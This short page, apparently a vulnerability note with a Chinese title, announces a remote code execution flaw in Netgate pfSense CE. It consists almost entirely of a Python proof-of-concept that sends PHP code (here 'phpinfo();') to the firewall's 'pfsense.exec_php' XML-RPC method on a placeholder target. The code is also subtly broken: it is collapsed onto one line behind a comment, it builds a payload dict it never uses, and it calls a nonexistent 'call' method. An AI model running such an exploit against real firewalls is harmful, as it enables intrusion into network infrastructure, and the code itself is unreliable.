CVE-2025-69691 Netgate pfSense CE 远程代码执行漏洞

#!/usr/bin/env python3 import xmlrpc.client # CVE-2025-69691 PoC for Netgate pfSense CE # Target: pfsense.exec_php via XMLRPC target_url = "http://<TARGET_IP>/xmlrpc.php" command = "phpinfo();" # Malicious PHP code to execute try: # Create proxy connection proxy = xmlrpc.client.ServerProxy(target_url) # Prepare payload using the vulnerable method # Note: Authentication might be required depending on config, but exploit assumes PR:L context payload = { "pfsense.exec_php": [command] } print(f"[*] Sending payload to {target_url}") print(f"[*] Executing PHP code: {command}") # Send request response = proxy.call('pfsense.exec_php', command) print("[+] Response received:") print(response) except Exception as e: print(f"[-] Error: {e}")